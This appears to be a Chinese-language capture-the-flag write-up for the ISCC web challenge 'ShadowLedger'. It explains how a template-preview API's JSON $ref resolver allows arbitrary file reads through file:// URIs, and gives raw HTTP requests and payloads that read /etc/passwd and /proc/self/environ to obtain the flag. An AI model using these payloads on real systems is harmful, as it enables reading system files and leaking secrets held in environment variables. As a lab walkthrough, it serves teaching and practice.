Web + ShadowLedger

解题思路:

这题最开始直接访问 http://39.105.213.28:12606/ 会被误导,真正的应用是挂在同一端口下的虚拟主机里。访问时需要带上正确的 Host: campus-stat.example.com,这样首页才会进入真正的 ShadowLedger 系统。

进入系统后可以看到 /login、/register、/dashboard,同时前端脚本 /static/app.js 暴露了主要接口:/api/register、/api/login、/api/template/preview、/api/user/session。

注册并登录一个普通审计员账号后,请求 /api/user/session,可以看到当前用户可访问的路由中除了 /api/template/preview 之外,还有 /api/template/import。再结合 /templates 页面里的提示:

The preview service resolves nested references for auditors.

可以判断题目的核心点在模板预览服务对嵌套引用的解析逻辑上,重点关注 $ref。

继续测试发现 /api/template/preview 支持通过 $ref 解析本地文件。例如提交:

{“schema”:{"$ref":“file:///etc/passwd”}}

服务端会直接返回文件内容,说明这里存在基于 file:// 的任意文件读取。

拿到这个能力后,进一步读取进程环境变量文件 /proc/self/environ:

{“schema”:{"$ref":“file:///proc/self/environ”}}

返回结果中可以直接看到环境变量里的 FLAG,最终得到:

ISCC{black_box_schema_ref_to_shadow_vault_2026}

Exp:

GET / HTTP/1.1
Host: campus-stat.example.com

POST /api/register HTTP/1.1
Host: campus-stat.example.com
Content-Type: application/json

{“username”:“alice123”,“password”:“alice123”}

POST /api/login HTTP/1.1
Host: campus-stat.example.com
Content-Type: application/json

{“username”:“alice123”,“password”:“alice123”}

POST /api/template/preview HTTP/1.1
Host: campus-stat.example.com
Content-Type: application/json
Cookie: <session>

{“schema”:{"$ref":“file:///proc/self/environ”}}

返回中可见:你服务器炸了搞不到截图

FLAG=ISCC{black_box_schema_ref_to_shadow_vault_2026}